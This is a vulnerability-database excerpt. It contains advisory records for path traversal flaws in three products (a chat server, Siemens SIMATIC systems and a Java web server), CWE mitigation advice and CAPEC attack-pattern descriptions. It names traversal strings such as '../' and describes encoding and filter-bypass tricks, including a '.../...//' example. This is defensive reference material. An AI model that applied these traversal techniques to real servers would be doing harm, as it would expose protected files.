"details": "Directory traversal vulnerability in the embedded HTTP server in SCI Photo Chat Server 3.4.9 and earlier allows remote attackers to read arbitrary files via a \"..\\\" (dot dot backslash) or \"../\" (dot dot forward slash) in the GET command.",
"id": "GHSA-6g8p-jh7r-r2gq",
"modified": "2022-05-01T23:37:18Z",
"published": "2022-05-01T23:37:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-1169"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/40655"
},
{
"type": "WEB",
"url": "http://aluigi.altervista.org/adv/scichatdt-adv.txt"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/27872"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2008/0614"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-6GC3-VP66-4FCM
Vulnerability from github – Published: 2022-05-24 19:20 – Updated: 2022-05-24 19:20A vulnerability has been identified in SIMATIC PCS 7 V8.2 and earlier (All versions), SIMATIC PCS 7 V9.0 (All versions), SIMATIC PCS 7 V9.1 (All versions), SIMATIC WinCC V15 and earlier (All versions), SIMATIC WinCC V16 (All versions), SIMATIC WinCC V17 (All versions), SIMATIC WinCC V7.4 and earlier (All versions), SIMATIC WinCC V7.5 (All versions < V7.5 SP2 Update 5). When downloading files, the affected systems do not properly neutralize special elements within the pathname. An attacker could then cause the pathname to resolve to a location outside of the restricted directory on the server and read unexpected critical files.
{
"affected": [],
"aliases": [
"CVE-2021-40359"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-11-09T12:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability has been identified in SIMATIC PCS 7 V8.2 and earlier (All versions), SIMATIC PCS 7 V9.0 (All versions), SIMATIC PCS 7 V9.1 (All versions), SIMATIC WinCC V15 and earlier (All versions), SIMATIC WinCC V16 (All versions), SIMATIC WinCC V17 (All versions), SIMATIC WinCC V7.4 and earlier (All versions), SIMATIC WinCC V7.5 (All versions \u003c V7.5 SP2 Update 5). When downloading files, the affected systems do not properly neutralize special elements within the pathname. An attacker could then cause the pathname to resolve to a location outside of the restricted directory on the server and read unexpected critical files.",
"id": "GHSA-6gc3-vp66-4fcm",
"modified": "2022-05-24T19:20:09Z",
"published": "2022-05-24T19:20:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-40359"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-840188.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6GG7-Q37J-4GWP
Vulnerability from github – Published: 2022-12-18 09:31 – Updated: 2022-12-22 18:30A vulnerability was found in drogatkin TJWS2. It has been declared as critical. Affected by this vulnerability is the function deployWar of the file 1.x/src/rogatkin/web/WarRoller.java. The manipulation leads to path traversal. The attack can be launched remotely. The name of the patch is 1bac15c496ec54efe21ad7fab4e17633778582fc. It is recommended to apply a patch to fix this issue. The associated identifier of this vulnerability is VDB-216187.
{
"affected": [],
"aliases": [
"CVE-2022-4594"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-18T08:15:00Z",
"severity": "CRITICAL"
},
"details": "A vulnerability was found in drogatkin TJWS2. It has been declared as critical. Affected by this vulnerability is the function deployWar of the file 1.x/src/rogatkin/web/WarRoller.java. The manipulation leads to path traversal. The attack can be launched remotely. The name of the patch is 1bac15c496ec54efe21ad7fab4e17633778582fc. It is recommended to apply a patch to fix this issue. The associated identifier of this vulnerability is VDB-216187.",
"id": "GHSA-6gg7-q37j-4gwp",
"modified": "2022-12-22T18:30:24Z",
"published": "2022-12-18T09:31:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-4594"
},
{
"type": "WEB",
"url": "https://github.com/drogatkin/TJWS2/commit/1bac15c496ec54efe21ad7fab4e17633778582fc"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.216187"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.